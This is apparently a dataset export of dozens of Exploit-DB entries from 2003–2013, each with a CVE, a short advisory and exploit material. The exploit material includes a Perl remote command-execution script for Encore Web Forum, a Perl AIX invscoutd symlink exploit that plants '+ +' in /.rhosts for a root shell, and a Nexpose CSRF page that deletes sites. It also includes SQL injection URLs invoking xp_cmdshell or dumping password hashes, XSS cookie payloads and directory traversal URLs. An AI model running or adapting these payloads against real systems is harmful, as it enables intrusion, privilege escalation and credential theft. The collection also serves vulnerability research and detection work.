QLWD/code_shield huggingface dataset:
标题: NukeCalendar 1.1.a - 'block-calendar.php' Full Path Disclosure EDB-ID: 23929 CVE: 2004-1912 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info
 
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
 
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar.php URL: https://www.exploit-db.com/exploits/23929
标题: NukeCalendar 1.1.a - 'block-Calendar_center.php' Full Path Disclosure EDB-ID: 23931 CVE: 2004-1912 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info
  
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
  
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar_center.php URL: https://www.exploit-db.com/exploits/23931
标题: NukeCalendar 1.1.a - 'modules.php' Full Path Disclosure EDB-ID: 23928 CVE: 2004-1912 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info

NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.

These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection. 

http://www.example.com/nuke71/modules.php?op=modload&name=Kalender&file=index&type=view&eid=foobar URL: https://www.exploit-db.com/exploits/23928
标题: Nexpose Security Console - Cross-Site Request Forgery EDB-ID: 23924 CVE: 2012-6493 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2013-01-06 漏洞利用脚本: Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes

Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose 
Security Console 5.5.3 and below allow remote attackers to submit 
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on 
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted 
page, it may be possible to perform user-initiated actions on the web 
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan 
data and sites during the proof-of-concept.

Exploit steps for proof-of-concept:
1.      Create an external site/page: 
http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
   <!-- Nexpose CSRF PoC -->
   <body>
     <form 
action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1" 
method="POST"  enctype="multipart/form-data">
       <input type="submit" value="delete site" />
     </form>
     <script>
       //document.forms[0].submit(); //uncomment to auto-submit
     </script>
   </body>
</html>
[/code]
2.      Lure victim to http://attackersite.com/nexpose-csrf.htm.
3.      Site with ID 1 is deleted when form is submitted.

Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.

Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Credit:
Robert Gilbert
HALOCK Security Labs URL: https://www.exploit-db.com/exploits/23924
标题: Mcafee FreeScan CoMcFreeScan Browser - Information Disclosure EDB-ID: 23926 CVE: 2004-1908 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10077/info

Reportedly the Mcafee FreeScan 'McFreeScan.CoMcFreeScan.1' COM object is prone to a remote information disclosure vulnerability. This issue is due to a failure of the object to properly validate information access credentials.

Successful exploitation of this issue may provide an attacker with sensitive system information. The provided system information may be used to carry out further attacks against the affected system.

<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0
CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>

<script language=vbscript>

sPath = MCFS.GetSpecialFolderLocation(&H0000)

'Gets the path for the desktop folder.

document.write(sPath)

'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%

</script> URL: https://www.exploit-db.com/exploits/23926
标题: Kerio Personal Firewall 4.0.x - Web Filtering Remote Denial of Service EDB-ID: 23925 CVE: 2004-1907 类型: DOS 平台: WINDOWS 发布日期: 2004-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/10075/info

Kerio Personal Firewall includes Web URI Filtering functionality. A denial of service vulnerability has been reported to affect Kerio Personal Firewall when Web Filtering functionality is enabled. The issue presents itself when Web Filtering procedures handle a URI that contains certain characters.

http://www.example.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=^S^R^S URL: https://www.exploit-db.com/exploits/23925
标题: NukeCalendar 1.1.a - 'block-Calendar1.php' Full Path Disclosure EDB-ID: 23930 CVE: 2004-1912 类型: WEBAPPS 平台: PHP 发布日期: 2004-04-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/10082/info
 
NukeCalendar, which is a third-party calendar module for PHP-Nuke, is prone to multiple vulnerabilities.
 
These issues include path disclosure, SQL injection and cross-site scripting. Possible consequences include disclosure of sensitive information and account/bulletin board compromise. Attacks against the database implementation itself are also possible through SQL injection.

http://www.example.com/nuke71/blocks/block-Calendar1.php URL: https://www.exploit-db.com/exploits/23930
标题: ada imgsvr 0.4 - Directory Traversal EDB-ID: 23909 CVE: 2004-2464 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/10048/info

ImgSvr is prone to an issue that may allow an attacker to view files that reside outside of the server root directory. This issue occurs because the application fails to properly sanitize user-supplied URI data.

A successful exploit may allow a remote attacker to access sensitive information that may be used to launch further attacks against a vulnerable system. 

To view a selected file:
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2fboot.ini

To list a directory:
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ URL: https://www.exploit-db.com/exploits/23909
标题: Panda ActiveScan 5.0 - 'ascontrol.dll' Remote Heap Overflow EDB-ID: 23917 CVE: 2004-1904 类型: DOS 平台: WINDOWS 发布日期: 2004-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/10065/info

It has been reported that Panda ActiveScan may be prone to a remote heap overflow vulnerability that may allow an attacker to cause a denial of service condition in Internet Explorer or leverage the issue to execute arbitrary code.

The issue is reported to exist in the 'ascontrol.dll' file, specifically the 'Internacional' property of the 'ReportHebrew' object is identified as vulnerable.

Panda ActiveScan 5.0 has been reported to be prone to this issue. 

<script language=vbscript>
dim mymy
Set mymy = CreateObject("ASControl.ReportHebrew.1" )

a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
mymy.Internacional a
</script> URL: https://www.exploit-db.com/exploits/23917
标题: Aborior Encore Web Forum - Arbitrary Command Execution EDB-ID: 23907 CVE: 2004-1888 类型: WEBAPPS 平台: CGI 发布日期: 2004-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/10040/info

Encore Web Forum is reported prone to an issue that may allow a remote user to execute arbitrary commands on a system implementing the forum software. This issue is due to the application's failure to properly validate user-supplied URI input.

A remote attacker may exploit this condition to execute arbitrary commands in the context of the webserver that is hosting the vulnerable application. 

############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk

require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);

my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum  by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";

my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";

if ($response->is_success) {
     print $response->content;
} else {
     die $response->status_line;
}

print "----------------------------------------------\n";

# EOF by Xnuxer
-- URL: https://www.exploit-db.com/exploits/23907
标题: ADA IMGSVR 0.4 - Arbitrary File Download EDB-ID: 23906 CVE: 2004-1887 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10027/info

A vulnerability has been reported in the ImgSvr server software that may allow a remote user to the retrieve arbitrary files from the web server root directory and any subdirectories therein.

An attacker may leverage this issue to gain access to arbitrary scripts contained within the server root directory. 

http://www.example.org:1234/someDirectory/fileName%00

The following has been reported to crash the affected server:
http://127.0.0.1:1234/%00/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/imgsvr.exe/ URL: https://www.exploit-db.com/exploits/23906
标题: ADA IMGSVR 0.4 - Remote Directory Listing EDB-ID: 23905 CVE: 2004-1887 类型: REMOTE 平台: WINDOWS 发布日期: 2004-04-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10026/info

A vulnerability has been reported in the ImgSvr server software that may allow a remote user to the disclose root directory listings. This issue has also been reported to allow for listing of directories that reside outside the server root as well.

An attacker may leverage this issue to gain access to sensitive information by disclosing directory listings; information disclosed in this way could lead to further attacks against the target system. 

For listing directories inside the server root (provided by Donato Ferrante):
http://www.example.org:1234/%00/
http://www.example.org:1234/someDirectory%00/
http://www.example.org:1234/someDirectory/%00/

For listing directories outside of the server root (provided by Dr_insane):
http://www.example.com:1234/%2f%2e%2e%2f%2f%2e%2e%2f/ URL: https://www.exploit-db.com/exploits/23905
标题: Roger Wilco Server 1.4.1 - UDP Datagram Handling Denial of Service EDB-ID: 23902 CVE: 2004-2449 类型: DOS 平台: MULTIPLE 发布日期: 2004-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/10022/info

Roger Wilco Server has been reported prone to a remote denial of service vulnerability. The issue is reported to exist due to a flaw when handling malicious UDP payloads that are destined for the vulnerable server.

A remote attacker may exploit this condition to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23904.zip URL: https://www.exploit-db.com/exploits/23902
标题: Roger Wilco Server 1.4.1 - Unauthorized Audio Stream Denial of Service EDB-ID: 23904 CVE: 2004-2451 类型: DOS 平台: MULTIPLE 发布日期: 2004-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/10025/info

A vulnerability has been reported in the Roger Wilco Server, it is reported that a user does not need to connect to the server over the TCP port to have UDP based audio streams handled. Rather the attacker will require knowledge of user ID's connected to a target channel. Because the user ID's for a channel exist in a range of 0-127, the attacker may transmit an audio stream to an affected server that will be heard by all connected users, however the server administrator will have no control over disconnecting or muting this audio stream. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23904.zip URL: https://www.exploit-db.com/exploits/23904
标题: WebCT Campus Edition 3.8/4.x - HTML Injection EDB-ID: 23893 CVE: 2004-1872 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9999/info

It has been reported that WebCT Campus Edition may be prone to an HTML injection vulnerability that may allow a remote attacker to execute arbitrary HTML or script code in the browser of an unsuspecting user. A malicious user could supply malicious HTML or script code to the application via the @import url() function of Microsoft Internet Explorer when posting a message on a forum, which would then be rendered in the browser of an unsuspecting user whenever the malicious message is viewed.

WebCT Campus Edition version 4.1 is reported to be affected by this issue. 

<style type="text/css">
@import url(javascript:alert(document.cookie));
</style> URL: https://www.exploit-db.com/exploits/23893
标题: Interchange 4.8.x/5.0 - Remote Information Disclosure EDB-ID: 23895 CVE: 2004-0374 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10005/info

It has been reported that Interchange may be prone to a remote information disclosure vulnerability allowing attackers to disclose contents of arbitrary variables via URI requests.

This issue may allow an attacker to gain access to sensitive information that may be used to launch further attacks against a system. 

http://www.example.com/cgi-bin/store/__SQLUSER__ URL: https://www.exploit-db.com/exploits/23895
标题: CactuSoft CactuShop 5.0/5.1 - Cross-Site Scripting EDB-ID: 23899 CVE: 2004-1882 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/10020/info

Reportedly CactuShop is prone to a remote cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI input.

This issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/popuplargeimage.asp?strImageTag=<script>alert(document.cookie)</script>

http://www.example.com/popuplargeimage.asp?strImageTag=<img+src="uploads/images_products_large/113.gif"%20onLoad="alert(document.cookie)"> URL: https://www.exploit-db.com/exploits/23899
标题: LinBit Technologies LINBOX Officeserver - Remote Authentication Bypass EDB-ID: 23897 CVE: 2004-1878 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10010/info

It has been reported that LINBOX is prone to a remote authentication bypass vulnerability. This issue is due to a design error that would allow access to web based administration scripts without proper authorization.

This issue may allow unauthorized user to gain access to the administration scripts of the affected system.

Issuing the following request to the affected server will provide access to the administration interface:
http://www.example.com//admin/user.pl URL: https://www.exploit-db.com/exploits/23897
标题: MPlayer 0.9/1.0 - Remote HTTP Header Buffer Overflow EDB-ID: 23896 CVE: 2004-0386 类型: DOS 平台: LINUX 发布日期: 2004-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10008/info

It has been reported that MPlayer is prone to a remote HTTP header buffer overflow vulnerability. This issue is due to a failure of the application to properly verify buffer bounds on the 'Location' HTTP header during parsing.

Successful exploitation would immediately produce a denial of service condition in the affected process. This issue may also be leveraged to execute code on the affected system within the security context of the user running the vulnerable process. 

Issuing the following command will cause the affected process to crash:
$ mplayer http://`perl -e 'print "\""x1024;'` URL: https://www.exploit-db.com/exploits/23896
标题: Fresh Guest Book 1.0/2.x - HTML Injection EDB-ID: 23890 CVE: 2004-1867 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9995/info

It has been reported that Fresh Guest Book is prone to a remote HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied form input.

An attacker may exploit the aforementioned vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks may also be possible. 

<script>alert('xss');</script> URL: https://www.exploit-db.com/exploits/23890
标题: Cactusoft CactuShop 5.0/5.1 - SQL Injection EDB-ID: 23898 CVE: 2004-1881 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/10019/info

Reportedly CactuShop is prone to a remote SQL injection vulnerability. This issue is due to a failure to properly sanitize user-supplied URI input before using it to craft an SQL query.

As a result of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue. 

http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;+exec+master..xp_cmdshell+'dir+c:'--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed

http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;declare%20@a%20sysname%20set%20@a%20=%20char(100)%2bchar(105)%2bchar(114)%2bchar(32)%2bchar(99)%2bchar(58)%20exec%20master..xp_cmdshell%20@a;--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed URL: https://www.exploit-db.com/exploits/23898
标题: Alan Ward A-CART 2.0 - 'category.asp?catcode' SQL Injection (2) EDB-ID: 23891 CVE: 2004-1873 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9997/info

Reportedly A-Cart is prone to multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied input prior to its use in SQL queries and generation of dynamic content.

The SQL injection issue may allow a remote attacker to manipulate SQL query logic, potentially leading to access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

The cross-site scripting issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/category.asp?catcode=[SqlInjection]
http://www.example.com/category.asp?catcode=1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname='[Username]' URL: https://www.exploit-db.com/exploits/23891
标题: AIX 4.3.3/5.1 - Invscoutd Symbolic Link EDB-ID: 23883 CVE: 2004-2697 类型: LOCAL 平台: AIX 发布日期: 2003-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9982/info

Reportedly AIX invscoutd insecurely handles temporary files; this may allow a local attacker to destroy data on vulnerable system. This issue is due to a design error that allows a user to specify a log file that the process writes to while holding escalated privileges.

This issue may allow a malicious user to corrupt arbitrary files on the affected system, potentially leading to a system wide denial of service condition. It has also been conjectured that this issue may be leveraged to allow an attacker to gain escalated privileges, although this is unconfirmed.

#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested  : on Aix4.3.3 & Aix5.1. 
#           Some high version of invscoutd is not affected.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-29
# Announce: use as your owner risk!

$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;

print "Exploit error on kill process invscoutd !!" ,exit 1
  if &killproc() == 0;

symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root '/bin/sh -i'\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";

system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";

sub killproc() {
  $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
  @proc_lst=split;
  $ret=kill 9,$proc_lst[1] if $proc_lst[1];
  $ret=-1 if ! defined $ret;
  return $ret;
}
#EOF URL: https://www.exploit-db.com/exploits/23883
标题: PhotoPost PHP Pro 3.x/4.x - 'showgallery.php' Multiple SQL Injections EDB-ID: 23885 CVE: 2004-1870 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/9994/info

Multiple SQL injection, cross-site scripting and HTML injection vulnerabilities have been identified in the application, which may allow an attacker to execute arbitrary HTML or script code in a user's browser and/or influence SQL query logic to disclose sensitive information and carry out other attacks. 

Photopost PHP Pro 4.6.0 and prior may be prone to these issues. Photopost PHP Pro 4.8.1 is reported vulnerable to these issues as well.

http://www.example.com/showgallery.php?ppuser=-2'%20UNION%20SELECT%200,email,
0,0,0,0,0,0%20FROM%20user%20WHERE%20userid='1&cat=500 URL: https://www.exploit-db.com/exploits/23885